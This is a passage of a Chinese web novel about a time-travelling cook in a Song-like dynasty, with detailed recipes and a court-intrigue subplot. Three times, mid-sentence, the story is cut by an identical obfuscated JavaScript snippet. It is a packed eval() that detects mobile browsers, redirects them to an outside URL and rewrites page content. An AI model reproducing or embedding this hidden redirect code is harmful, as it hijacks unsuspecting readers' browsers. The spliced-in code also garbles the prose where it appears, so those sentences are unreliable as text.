将煮过的罐头捞出沥干后，把黄桃果肉均匀放入每个罐中，加入饴糖、水要稍微没过果肉，盖上盖子就可以，不要拧紧，如若不然上过蒸煮的时候瓶中热气溢出时，陶罐很容易炸裂。 罐头放在笼屉上蒸煮半刻钟后，便可以拿出来拧紧了，此时陶罐很烫，谢青禾隔着粗布将它们一一端下来，然后又隔着粗布将盖子一一拧紧。 这时罐子里呈现真空的环境，此时倒扣晾凉片刻即可。 这样一瓶清甜的罐头就做好了，为了冬日有新鲜水果吃，谢青禾特意放到现在。 谢青禾此时打开罐头，果肉莹润软烂适中，阿鱼忍不住上前讨要，“阿姊，这个罐头现在可以吃了吧！”阿鱼两眼放光。 谢青禾点头，阿鱼拿起汤匙便舀了一块果肉，吸溜一声果肉便进了肚，谢青禾见了忍不住笑，阿鱼方才活像猪八戒吃人参果，还没尝着滋味便没了。 “你再吃块吧。”谢青禾笑语盈盈道。 阿鱼这才细细品尝起来，于是便忍不住手舞足蹈，“太好吃了，阿姊！冬日还能吃到这样新鲜甘甜的水果，太幸福了！” “一会我和小允子换值，这瓶你与小允子一同分了吃吧。”谢青禾道。 接着她端着汤药与罐头向后院厢房走去。 22. 黄豆猪蹄 谢青禾进屋后觉得屋内有些药味，常人闻着也不舒服，对病人身体恢复也不利，冬日午后不似早晚那般严寒，现下还有些日光，于是将一扇木窗推开些缝隙。 日光照进屋内洒在青蓝棉被上，谢青禾目光上移，发觉床上的肖衍正看着自己。 方才自己进门、推窗，竟半分未察觉他已然醒转。 谢青禾唇角微动，他们几人多日照料总算有了回响，她心头一暖欣喜道，“你终于醒了。” 谢青禾方才进来的那一刹那，萧蘅便捕捉到空气中的变化，香甜、温暖、清新的。 萧蘅看着她后点头，情绪并无太大起伏，他知晓自己那日做了什么，非但未能相助，反倒带了一身伤回来，自己目前在这里做活，总应给个说法。 只是全盘托出，自己便再难留在青云楼疗伤治病，行踪也会就此暴露。谢青禾清亮的眼神仍看着他，不忍欺瞒，低声开口道，“那日我并非无故离去，亦非不肯相助。” “家父曾是贩卖珠宝的皇商且精通玉石雕刻，曾偶然从西域那边得来一块上好玉料，色如羊脂，质地坚硬，通透无暇，是上好的羊脂白玉，堪为稀世之宝。陛下本就有意重新制一方碧玺，听闻此事后，便下旨令父亲将玉料雕刻完毕后，将玉玺送入宫中。 家父日夜雕刻，完工那日，府中突然闯入大批歹人，他们夺玉玺、杀满门，我藏于井缸中亲眼窥见那主谋立于血泊之中，手捧玉玺狞笑，那幕此生难忘。” 萧蘅抬眸，目光沉沉落向谢青禾，“那日入府，见文王的第一眼，我便知——灭门之仇，正是此人。” 这些事虽不是自己的亲身经历，可当年父皇与母后也都因文王的贪婪付出更惨痛的代价，自己可以说是感同身受。 这些本是多年跟在自己身边的小允子的遭遇，他也并不是外人认为的那样贫寒。小允子原名顾云晏，顾家当年乃是兖州望族，一夕之间家破人亡，那年他六岁与萧蘅同岁，也是同年先皇和先皇后被文王毒害，顾云晏辗转落入人牙子之手，后进宫做了内侍。 虽是非亲身遭遇，可萧蘅当年亦尝尽众叛亲离、至亲离世之痛。身为太子，只能强忍悲恸，步步隐忍，不敢流露半分真意。 萧蘅不忍回想，缓缓闭上双眼。 谢青禾听得心中大为震惊，恍然明白些什么，“所以……你进入王府是为了……” “寻回当年玉玺，还有，收集文王其他罪证，递与府衙，让他血债血偿。”萧蘅目光锐利地看向窗外。 当年文王先夺取玉玺后弑先皇、杀皇后，眼看即将篡权登基，未料那皇子死里逃生，终究醒了过来。 萧蘅收回思绪，隐去眸中一闪而过的戾气。 谢青禾仍处于震惊之中，她自幼与阿爷阿奶相依为命，尚不敢想亲人离世之痛，眼前这个不过长她两岁的少年，竟抗下这般血海深仇，如若放到现代，恐怕还是个跟家里要生活费的大二学生。 她没想到文王是这样心狠手辣，篡权谋反的奸佞之辈。 心下一软，轻声道，“喝药吧。”谢青禾看着萧蘅面容消瘦，身体才是做事的本钱，先养好身体再说。 她端过汤药递去，萧蘅右手微抬却牵扯到伤口，他倒抽一口冷气，旋即强作镇定。因着自己躺在榻上多日，左手也有些麻木，他有些懊恼，不觉扭过脸去微微撇嘴。 谢青禾瞧着，忍不住莞尔，“我喂你便是。”谢青禾扶他坐起，又在身后又放了只圆枕。 宫中向来是宫人服侍，个个谨小慎微、战战兢兢，从未有人敢这般自然亲近，反倒让他卸下几分伪装，心中也有些安稳。 一碗汤药萧蘅喝得勉强，谢青禾也看出他的不适，于是端来罐头汁。 宋朝时期还未曾出现罐头，又是新异果子，萧蘅皱眉看着碗中橙黄液体，“这是何物？” “黄桃汁。” 萧蘅疑惑看了一眼，清亮亮的，还能嗅到清甜的气味，看起来还不错，抿了一口后，发现清冽甘甜，宫中虽有各式汤品甜点，可这汁水虽单调，却莫名好喝，随后便一饮而尽，只觉浑身舒畅、唇齿留香，喉咙也不似先前那般干哑。 自宋朝程朱理学观念的强化，对女性的约束有违人性，曾有观点提出“女子饿死事小，失节事大”极端观点，女子行事多有顾忌，往日换药皆是阿鱼和小允子经手。 案几上纱布、膏药、剪刀一应俱全，谢青禾看了一眼，决定出去唤阿鱼或者小允子来包扎。 谢青禾刚转身，榻上便传来一阵清晰连续的“咕噜”声。 萧蘅本就因包扎这事有些尴尬，此时肚子又发出声音，自己乃九五之尊，从未发生这样尴尬的事，他赶忙将头扭过去，但泛红的耳尖透露了他的心思。 谢青禾忍笑，温声道，“饿了便只说无妨，你想吃些什么？” “……都可。”萧蘅这几日约莫一直都在喝些汤药，昏迷中身体代谢缓慢，并未有饥饿感，醒来后说了这会子话，才发觉腹内空空。 谢青禾想起今晨泡发的黄豆，本想磨些豆浆，结果一上午也没腾出手，幸而天气寒冷食物耐放，黄豆也没异味，脑海中突然关于泡发黄豆有了新的食谱，于是欣喜道，“你且等会子，我很快就来。” 临近年关，集市上逐渐热闹起来，钱庄巷乙字号的王屠户摊前更是人头攒动。 冬日肉摊上羊肉供应不及，王屠便杀些猪肉备着。但是因为猪骚味常人很难轻易祛除，所以一般百姓轻易不敢买，怕花了钱还要倒赔一口铁锅。 宋代百姓还未意识到，猪仔7-10日后骟势绝育，成熟后猪骚味就会淡很多。谢青禾也是在现世看一档科普节目才知晓。 可就算骟过，猪骚味一般也很难祛除。因此她在祛除猪骚上颇下了一番功夫，也算有些手段。 首先可以冷水浸泡。期间要半刻钟更换冷水，这样可以祛除猪肉本身的血水、杂质。还可以在盆中加入白醋、生姜、花椒、白酒去腥，这样效果更好。 其次用盐搓或面粉揉。前者去油腻杂质，后者可吸附猪肉本身的异味。 最后可以焯水去腥。前提一定要将猪肉冷水下锅，慢慢炖煮的过程中，血水便可慢慢渗出带出异味。 况且猪肉比羊肉便宜，自己又能处理好，省些钱早早攒够金额还可在系统中提升厨艺档次，何乐而不为呢？ “王屠，这些猪杂我都要了，再切几斤猪肉。”谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227159|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青禾想着早些买回去，不至于临近年关买不到，物以稀为贵，别在过几日猪肉也涨价了。 肉摊周围围了一圈百姓大多是奔着羊肉去的，听得有人专挑猪肉和猪杂，当真稀奇。便都纷纷转头看向那人，嗯？青云楼的谢娘子，那不稀奇了。 别看目前青云楼是一家小小的脚店，可里面的菜式各式各样，单论厨艺，可一点不输樊楼等正店。 “谢小娘子，来您拿好，共五十文。”郑屠户笑得见牙不见眼将那包猪肉用油纸包好，伸手递过去。 不是王屠先做谢青禾的生意，而是这猪肉自打他从屠肆拉来，两日了只卖了半条猪腿还被人退了货，纠缠了半日还倒贴那人十文，好不容易盼来个主顾，可不能跑了。 旁人看那包猪肉暗暗咋舌，那包肉少说有十斤，居然只要五十文，羊肉十斤最少一百文，竟能便宜一半！ “谢姑娘，这是要做什么吃食呀？”一农妇好奇问道。 “黄豆猪蹄汤。” “猪肉腥臊得紧，便是樊楼大厨都束手无策的腌臜物，岂不糟蹋银钱？”农妇劝她道。 “不会的，诸位若想尝鲜，稍后可去青云楼坐坐。”谢青禾笑盈盈道。 谢青禾回去后，将猪蹄用盐搓洗一番，接着取来一些初磨带有麦麸的面粉，这些面粉价廉，口感粗糙外加粉质较为黄黑，黑黄主要是因为里面的麦麸，买回来后用竹篾筛几遍就白净了，只是有些费时费力罢了。 用粗面粉搓洗几遍，吸干水分、血气清洗后，将猪蹄剁成块状放入冷水中炖煮，第一锅水倒掉后，在加入清水、生姜、葱段、花椒、八角焯水去腥。 几番去腥后，炖煮时屋内并未闻到腥臊味，只有浓浓的肉香还有大料的辛香。 对门的杜婆婆虽然眼睛不太好使，但鼻子还是蛮灵光的，毕竟做厨子这行的嗅觉和味觉要比常人灵敏，谢青禾后厨的那扇窗离阿婆的汤饼店有一箭步的距离，不远不近，老婆婆在自家店铺窗边唤道，“青禾啊，你这是炖了什么，这般香？” 谢青禾听到对门阿婆的声音，忙道，“我做了些黄豆猪蹄汤，很有营养的，稍后给阿婆您端一碗过去。” 若不是杜婆婆那日照拂，肖衍险些被文王追兵发现，另外猪蹄含有丰富的胶原蛋白，对老年人体内骨质流失大有益处。 焯水后的猪蹄捞出，冷水冲洗后放入陶锅，再把泡好的黄豆捞出，锅中放入姜片、料酒、适量盐、胡椒粉，加入开水，炖煮一刻钟。 黄豆猪蹄汤简单易做，最麻烦的就是猪肉的处理。 出锅后滴入几滴香油，若嫌汤汁油腻，可洒一把葱花、加一勺香醋。 谢青禾先盛了一碗送去给杜婆婆。 “哎呦，青禾总想着我这个老婆子。”杜婆婆感激道。 “哪里的话，邻里街坊的您也帮了我们很多，趁热喝些汤吧。”谢青禾道。 “这是猪肉吗？”一旁买饼的客人嗅着香味，惊讶道。 谢青禾点头。 “这猪肉怎么做的这样香？可否教教我？”那人想着猪肉可比羊肉便宜，闻着这味道一点都不比那旁的肉差，若自己跟这娘子学会这手艺岂不是能省点银子？ 23. 酱拌菘菜 “这是小店新炖的黄豆猪蹄汤，若觉得味道不错，不妨来青云楼尝尝鲜。”谢青禾笑盈盈道，话说得客气，可心中门清，她的青云楼能在钱庄巷红火，一方面是靠她的厨艺、勤奋，另一方面便是她爱琢磨新菜样，若是把法子交出去，往后还怎么做生意？ 那人讪笑道，“姑娘厨艺了得，味道确实鲜美。”却暗暗心惊，这青云楼谢姑娘不仅手艺好，心思也灵巧，再细细端详，样貌生得秾丽大气，在京城这片也是相当拔尖的模样了。 谢青禾先前去杜婆婆那边走了一趟，倒引来不少尝鲜的食客。方才肉摊前那农妇也寻了来，一进门便嚷嚷着，“谢娘子，你方才说能把这猪蹄处理妥当，奴家还不大信，方才路过这青云楼门，那滋味当真是猪蹄熬出来的汤？” “千真万确。” “那可太好了，谢姑娘方才就说让我来常鲜，那必定给我预留着了，快来给我盛一碗。”那农妇急不可待道。 谢青禾没料到这道汤竟这般受欢迎，王屠那里拉来的两头猪笼统就八只蹄子，现下供不应求，只得向系统借了。 小允子在后院帮萧蘅包扎换药，前厅便由阿鱼指引客人入座，趁客人安排妥当，谢青禾吩咐阿鱼盛碗猪蹄汤端给后院萧蘅送去。 前厅尝过猪蹄汤的食客无不交口赞叹，谢青禾不敢耽搁，赶忙再熬煮几锅肉汤。 肉汤热乎暖胃，若再配一碟凉菜，更是口味一绝。 宋时的凉菜也叫“冷菜”与现世凉菜最大的区别就是非常讲究雅致，讲究“色、香、意、形”，菜品精致如画，滋味更是层层递进。 谢青禾不敢说自己做出的凉菜多么精巧，却有把握让人垂涎三尺。 临近年关，家家户户最不缺的就是菘菜。谢青禾自小便跟着阿爷阿奶下田种地，深知菘菜要想吃起来软烂、无筋且不用过多调料就好吃的方法。 首先在种植时尽量用有机肥，土壤一直保持湿润，就算需要浇灌则较小水流润灌，水足则嫩。 其次不要暴晒。最好在秋季种植这样就可以很好避免天气等不可控因素。暴晒后的白菜里面筋多，吃起来像棉线，非常影响口感。 最后要等到下霜后采收，这样低温会令淀粉转化为糖，吃起来便会有甘甜的滋味。 北魏贾思勰著作《齐民要术》中便从选地、耕地、播种、采收皆有详细记载。这与宋代相仿的世间，百姓虽不懂农学典籍，但靠几百年的种田经验，便知肥好、水足、不暴晒、霜后收、剥老叶，就能种出清甜、无筋、一煮就软的菘菜。 谢青禾来到的这个与宋朝相似的朝代，同样是这样的种植方法。菘菜一般就是煸炒，但今日她想换种吃法——芝麻酱凉拌菘菜，这道菜还有个更文雅的名字，现世根据清朝皇帝乾隆的民间故事而得名“乾隆白菜”。 这则逸事不管是微服私访偶遇版还是伶牙俐齿纪晓岚劝谏版，这道朴素凉菜是深受乾隆帝喜爱，同时在几百年后的现世也是年夜饭上必不可少的杠把子。 这个朝代还未有这种做法，谢青禾想到就干劲十足。 只要三步便可做出爽脆可口的凉菜。 她麻利地取来几颗菘菜，不要菜帮，只将菜叶撕碎放入陶盆冲洗干净。 冲洗后一定要用笊篱将水分沥干，不然一会的料汁便会和菜叶分离，十分影响口感。 取来瓷碗，碗中放入四勺麻腻、少量香油，搅拌稀释成面糊状，这时味道还不够。 再加入三勺香醋、一勺豉油、饴糖、盐，再次搅拌此时从适才的棕色变成了深棕，最后再加入一勺蜂蜜，料汁瞬间便透亮起来。 将料汁倒入陶盆中，尽数淋在菘菜叶上，随后用手抓拌，让每片叶子都裹上酱汁。 这样就可以装盘了，最后再撒上黑芝麻可点缀另一方面更重要的是可以增香。 因这菘菜价廉，两文便可买上一大颗，这盘凉菜售价二文也是非常合理。 端上饭桌，食客纷纷竖起大拇哥，“这菘菜竟能凉拌，味道爽脆酸甜啊，太好吃了！” “两文便可买到如此美味的菜，当真实惠！” 直到晌午二刻，谢青禾才得空休息片刻。 不过半日，店内的猪蹄、菘菜竟被吃得干净。 谢青禾休息片刻后，将自留的一份拌菘菜端去后院。 ＊ 晨起十刻，尹昉因着那文王账本一事匆匆赶来青云楼。 门口几乎门庭若市，尹昉皱眉，这青云楼如此吵闹，陛下如何静养？ 他侧身挤入，显然他未料到百姓为了吃口好的，意志多么坚定、力气多么强悍，他的鞋子险些被挤掉。 最后穿过重重人群才得以进入，他拉住一个看着聪慧机灵的小厮，打探萧蘅的住所。 “你是？”阿鱼警惕道，面前这人眉毛短粗且黑，一张国字脸，即使语气温和也给人严肃的感觉。 阿姊早有交代，但凡有人来找肖衍，不可随意言语。何况肖衍哥身负家仇之恨，一句说错，便会给肖衍哥带来杀身之祸。 尹昉轻笑，随后从袖中拿出一块令牌。 阿鱼不识字，却认得上面那只金漆描绘的苍鹰，他曾在大理寺衙役腰间见过，只是旁人多是黑色，面前此人拿出的却是红色。 他心头转念一想，此人莫不是大理寺的少卿？也没听闻肖衍犯事，想必不是来抓捕他的吧。 尹昉见这小厮眼珠不停转动，分明还是心存疑虑不相信他罢了，便直截了当道，“肖家十四年前的灭门案有新线索，我特来找他商议核对。” 阿鱼这才扭头，陪笑道，“大人不识小人过，我方才有眼无珠，您这边请。” 尹昉见到萧蘅时，小允子正端着陶碗给他喂饭，而碗中那块肉，如果他没看错，那是猪蹄吧！ 尹昉感觉脑中有一道惊雷闪过，在他印象中，萧蘅素来洁净，一向不喜荤腥，更别提猪肉那腥臊味，如何碰得？ 萧蘅看到尹昉面露震惊之色，便知他在想什么。 如若先前，莫说吃，便是看见，他定能将肉连同碗一起扔了。可方才阿鱼端来时，伊始他很嫌弃，可屋内并无异味，反倒飘着阵阵肉香，简直邪门。 他忍下心中别扭，试着尝了一口，发觉那肉软烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232650|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹牙、入口即化，汤汁奶白醇厚，自己嗅觉并无问题，印象中肉汤都是很油腻，可这碗汤只觉得清爽中又有一丝醇厚，当真美味！ “坐。”萧蘅拍了拍床榻。 尹昉与萧蘅同龄，算是半个玩伴，私下也并不拘什么君臣礼仪。 尹昉满眼狐疑地坐了过来，下一秒，口中被塞入一块猪蹄。 尹昉内心一慌，刚想惊声尖叫，萧蘅一把捂住他的嘴。 嗯！嗯？嗯～这肉……比丸子弹牙，比米饭软烂，迸发的汤汁浓郁鲜香！ 真香啊！ 尹昉陶醉在美食的滋味中无法自拔，他心底暗暗佩服谢青禾，能将陛下养得肯吃荤腥，确实有点厨艺，陛下在此调养，就是有时生意火爆，偶尔吵闹了些。 “你来何事？不是专程与我抢食的吧？”萧蘅松开手，淡淡道。 尹昉这才回神，一张国字脸摆的板正，声音雄浑，“自然不是，这几日我可是片刻未停歇，又是誊抄账本，又是查茯苓产地的，腿都跑细了。” 尹昉身宽体胖，上能骑马定天下，下能提笔定乾坤，从未喊苦喊累，反而乐在其中，他这样说，身为多年好友，萧蘅在了解不过。 “大理寺缺什么了，随时说。”萧蘅道。 尹昉立刻大笑，“哈哈，等的就是你这句话。” “我那日回去后日夜核对账本，发现那账本上，好茯苓的来源、斤两、售价，每笔都记得清清楚楚。 可那次等茯苓只记了斤两，却并无出处。” “没了？”萧蘅转头看向他。 尹昉一窘，“这这，总得先把账本誊抄妥当啊，万一被文王察觉账本在我手上，大理寺不得被他掀个底朝天啊。” 萧蘅无语抿嘴。 尹昉再次道，“我还发现，你给我的那些次等茯苓，根本不是新鲜采摘后处理过的，反而像别人挑剩的残次品。” 萧蘅无语，这他也能看出来。 尹昉自言自语道，“从百姓家收来的茯苓，筛完之后就是这些次等茯苓，什么残渣、发黄、空心……” 萧蘅脑中忽然闪过一个设想，那次等茯苓是从百姓手中收上来后，再人工筛选出来的次品。 可转念一想，那可是几百来斤，几乎堆满仓库，这得动用多少人力才能完成？ 二人一时陷入沉思。 恰在此时，谢青禾敲门，进来后便看到二人如此发愁模样。 小允子向谢青禾解释后，方知那魁梧健壮的男子是大理寺少卿尹昉。 “既有贵客在此，不妨尝尝我这酱拌菘菜，来解解闷。”谢青禾说完后，未逗留便退了出去，以免打搅他们谈话。 萧蘅向小允子抬了抬下巴，示意他端来。 “菘菜？！”尹昉讶然道，“这菜淡而无味有什么好吃的。” 萧蘅不理，自顾自的吃着菘菜。 菜叶清脆爽口、酸甜解腻一口一口竟停不下来，许是美食激发头脑活跃，他突然想到，那茯苓许是请旁人处理呢？那自然要多付银钱，于是淡淡问道，“王府账本上，每月下人月例有无异样？” 24. 绿豆浓汤 尹昉见萧蘅吃得香甜，手指也没忍住拈了一片，上面麻腻浓稠配着清脆的菘菜恰到好处，里面的芝麻、香醋又提升了凉菜的香味，放入口中随后细细品尝起来。 尹昉每日下朝后可在公使库就餐，宋朝开国皇帝赵匡胤出身贫寒，素有节俭之风，不喜奢靡，故而沿袭唐朝“廊下食”的制度，即每日朝会后，文武百官可在殿廊下依次就食，既省却官员奔波之苦，也彰显朝廷体恤之意。 只是如今朝堂被文王一手把持，宫中上下包括御膳房都要听他指挥。自然对当今陛下萧蘅意见颇大，只是差一个名正言顺的机会除掉萧蘅，就算除不掉，也要折磨他，因此御膳房每日做的吃食实难下咽，就算寻常白粥也能熬的水米分离。 是以尹昉平日总爱去京城各大酒楼寻美食，且不是正店他不入，像樊楼、醉仙楼这等店铺，菜式未必绝妙，却胜在环境优美，店内雕梁画壁，舞姬环柱而舞，各色乐姬吹拉弹唱，如天宫仙境。 由奢入俭难，去惯了大酒楼，像平日里的脚店压根不入眼，店面寒酸、菜式单一、环境嘈杂，这些情况是脚店的通病，他不屑光顾。 若不是今日在这青云楼内寻得萧蘅，他是断不相信当今陛下竟肯蜗居于此调养身体。 青云楼名为“楼”，实则不过一进出的小院落。进入前厅后推开一扇红漆木门便是后院，方寸之地倒也收拾的干净妥当，一方水池因严寒而结冰，后院几间屋舍墙皮斑驳，看着有些年月。谢青禾早有翻新的意思，想等着来年开春攒些银钱请瓦匠好好修葺一番，将前厅挑高，加盖二层，也好配上“青云楼”这三个字。 尹昉初来时，只觉青云楼三字虽雅，可店面不过一间院子，何来楼字一说？一路走来，虽布局窄小局促，却也被这谢姑娘收拾的干净整洁，只能说堪堪入眼吧。 可方才那碗猪蹄汤，再到眼下这盘酱拌菘菜，前者是无人能够处理好的猪肉，后者是随处可见的菘菜，每样普通食材在这位谢姑娘手中都能做出新鲜花样，味道也很绝妙。 虽不如京城正店，但单论这厨艺，尹昉认为，这青云楼可一点不输。 萧蘅见他吃完像丢了魂一般，故意扬声吓他，“嘿。” 尹昉吓得一激灵，回神时结结巴巴道，“陛下您方才说什么？” 萧蘅闭眼，抿住嘴唇，沉声道，“我说，账本上下人的月例，近来可有异样。” 宋朝士大夫间习惯随身携带手帕，餐后净手，既显得文雅，也能彰显身份。尹昉虽不如旁的男子那般精细，却也随身携带手帕以备不时之需。 他从袖中取出一块深蓝锦布手帕，将手随意擦拭一二，脑中不断回想账本上的内容。 一品官员府内下人约百人，每月下人月例不过五百贯，可自从入了秋，下人月例竟足足多了一百贯。 尹昉细细盘算着，难道文王给下人涨了月例？一贯银钱一千文，分摊下来数目倒也合理。 尹昉将心中所想尽数说与萧蘅。 萧蘅听着，虽觉尹昉说的在理，可细细想来，以他对文王的了解，此人素来刻薄寡恩，一心独揽朝政，哪里有心思去体恤下人？ 越想心中越烦躁，他抬手轻按眉心。 尹昉本想在来一筷子菘菜，见萧蘅神色凝重，也不敢在动，只在心中揣摩着，陛下忽然问起此事，莫不是心中已有了眉目？ 他轻声道，“陛下，您心中可是有别的看法？” 萧蘅轻叹，“此事并非明面上那么直白，文王刚愎自用，眼中只有朝政大权，怎会有心体恤下人？依我看，这笔多出的银钱是别有用途。” 尹昉平日主管京城刑狱，断案最擅揣摩人心性情。可文王身居高位，旁人自是无从了解，唯有萧蘅这个侄子才能窥探一二。 一时间，尹昉也陷入沉思，他焦虑时便爱搓脸，近来因账本一事忧心，腮边不知何时冒出一颗红肿大痘，他一时没留神碰了上去，疼得当场龇牙咧嘴。 萧蘅正满腹愁绪，旁边尹昉闹出一阵窸窸窣窣的动静，他一个眼神睇了过去。 尹昉瞥见尹昉锐利的眼神，立刻安分下来，委屈巴巴地嘟囔道，“臣……这可是为陛下的事上火，这痘……真的很疼。” “疼便吃药，与我说何用，朕是大夫？” “可是药很苦……” 尹昉看着健壮结实，平日铁面无私，可私下遇着好友却是个爱撒娇的性子。 萧蘅无语白眼。 日头西斜，已近黄昏七刻。青云楼渐渐安静下来，最后一桌客人离去，谢青禾也收拾停当，便开始准备几人的晚膳。 她见尹昉还未出来，便派阿鱼前去询问，是否留下用饭。 阿鱼掀帘进去时，正撞见尹昉摸着腮边红痘，正疼的龇牙咧嘴。 尹昉见天色渐晚，此时用饭最是适宜，外加这青云楼饭食着实美味，当即应下。 阿鱼得了信后，快步退了出去，来到后厨，他绘声绘色的给谢青禾描述道，“阿姊，我当尹大人多严肃呢？方才竟为因一颗痘疼的龇牙咧嘴，像小孩似的。” 谢青禾手上动作一顿，“痘痘？” “嗯，许是查案着急的缘故，他还说药苦不肯喝，这般强忍着，多难受啊。”阿鱼道。 北宋初年，宋真宗从“西天”（印度）引入绿豆，因其产量优势，及官家的积极推广，很快实现了普遍种植，迅速走进各家各户。且在宋朝医书《开宝本草》中记载，“绿豆生研绞汁服，也可煮食，有清热解毒之奇效。” 谢青禾自己上火也不爱吃药，虽然现世的药制作精良，药丸外面一层糖衣，隔绝了喝药时的苦涩，但毕竟是药三分毒，她做私厨时，研究过不少药膳，生病时做些，既能保证食欲，也能调理身体，可谓一举两得。 因着绿豆属于舶来品且价廉，市井人家家中来客时往往也会煮上一些，显示对客人的尊重。 谢青禾前几日去东市粮铺，因冬日粮食耐放且绿豆五文一斤便多买了些，过年时，免不了许多大鱼大肉，还能煮些绿豆汤解腻，便买了五十文的豆子。 越是寻常饭食，越要别出心裁下一番功夫才能做得好吃。 她取出两勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250042|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿豆，放入盆中淘洗，接着用热水浸泡片刻，热水可加快绿豆吸水软化，若等冷却后冰冻一二，可使绿豆表皮破裂，等到熬制时，汤汁更易绵软出沙。但这里没有即刻冷冻的器物，只得寻系统，将这盆绿豆水放入冰箱冷冻半刻钟。 汤粥配腌菜最是下饭，她从腌菜缸子中拿出一块芥菜疙瘩，芥菜的腌制非常简单快捷，芥菜形状虽形似白萝卜，但口感没有那么辛辣，洗干净后晾干放入缸中，将八角、花椒、盐、香叶温水搅拌后制成卤水，随后倒入缸中没过芥菜即可，随后将缸口密封严实，15-30日左右便可食用。 将芥菜疙瘩均匀切成细丝，清水浸泡片刻，洗去表面的浮盐，随后捞出沥干水分放入盆中。再切入葱丝，倒上热油泼出香味，随后再滴几滴香油，搅拌均匀后即可装盘。 这时绿豆水也冷冻成冰块，将这块冰坨直接放入锅中，加水慢炖可使绿豆快速软烂。 片刻后，锅中青绿一片，绿豆已经尽数炖开，清香的味道扑面而来，在加入适量饴糖味道会更好。将糖熬煮融化后，既可熄火。 这样做出的绿豆汤，既不变色汤汁还浓稠出沙。 灶台上的荠菜包子白胖暄软，恰好熟透。她将这些家常菜一并盛好端上饭桌。 萧蘅因行动不便，于是只得将萧蘅与尹昉的饭食端至后院。 阿鱼、小允子一同帮着谢青禾端了过去。谢青禾将饭菜摆放好后，说道，“尹大人，怠慢了，今日饭菜略清淡并非刻意为之，只是见您面上红肿，不宜油腻辛辣。绿豆消津止渴，有清热解毒之功效，便特意做了这些饭食。” 方才三人陆续进来时，空气中都带有香甜的味道，尹昉定睛一看发现皆是寻常菜肴，却做的如此美味，不觉咽了咽口水。 萧蘅在一旁静静地看着尹昉，尹昉这人在外人面前素爱做一副端正严肃的模样，其实生性喜开玩笑，在熟人面前更是如此，许是因职位妨碍，故才在外做出如此举止。 尹昉果真有些不自在，他搓搓手心，随后放在两条大腿上，有些尴尬道，“谢姑娘关心。” 小允子因着要照顾萧蘅吃饭，于是也在后院吃了。 等到谢青禾离开后，尹昉忍不住道，“还是谢姑娘心细，会疼人。” 萧蘅闻言一脚将他踹下床，“回家夸你娘子去。” 尹昉被踹得莫名其妙，这谢姑娘是他什么人，怎么还护上了？ 前厅，谢青禾与阿鱼一同用膳，阿鱼一口包子一口汤，吃得肚皮滚圆险些撑破。 谢青禾忙拍他的背，“慢些吃，没人同你抢。” 阿鱼自小就无父无母，终日讨食生活，自从遇见阿姊后，日日吃饱穿暖，简直神仙般的日子。 这时门边传来一声细弱的声音。 “能给些吃的吗？” 此时已是夜晚八刻，寻常人家早已闭门歇息，怎会有孩童在此徘徊？ 看模样，脏兮兮的，同乞丐一般。 阿鱼看那女孩，眼中流露出同情的意味，他转头看向谢青禾，“阿姊，要给她些吃食吗？” 25. 女童沈苗 饭桌上摆有绿豆浓汤、荠菜包子、腌芥菜、黄豆猪蹄、酱拌菘菜。 谢青禾因着一天劳累，腹中早已空空，阿鱼亦是如此。 寻常脚店菜式单一，人手也少，贩夫走卒进店多会说，“小二随便上。”原因也是脚店只卖些酒水与寻常吃食，例如炊饼、包子、糕点等，稍微复杂的大菜是做不来的。 正店与脚店的区别就是有无酿酒权，宋朝官府将酒作为重要财政收入渠道，因而推出“榷酒制”，规定只有正店可从官府购得“酒曲”可自行酿酒，同时要承担高额酒税，而脚店只有从正店购买酒水获得销售权。 而想获得酿酒权，首先要向官府缴纳约四千贯酒曲钱，其次还要向都曲店申请酿酒牌证，最后还要店面规模大，可容下酿酒作坊和酒楼堂食的地方。 谢青禾并非没有向正店发展的心思，但成为正店上面提到的每一样都需要万贯银钱，况且有了银钱也无地可扩建，京城寸土寸金，青云楼这点地方还要亏得谢家有良心施舍给原身，不然像这样的地方每年租金就是一笔不小的收入。 现下青云楼每日客源不断，全是冲着她的厨艺来的，虽是脚店，但凭眼下规模与人手，堪堪够用，每日也能赚得不少银钱。 她想着在系统中自己被评为厨神后，便摆脱性命之忧的威胁，那时再扩建青云楼，请舞姬、乐姬、开设酒坊、办正店执照…… 先安于现下，一步一步来。 二人累了一日，胃口极好，谢青禾正慢慢用饭，门口倏然传来一声小女孩的声音。 谢青禾回头望去。 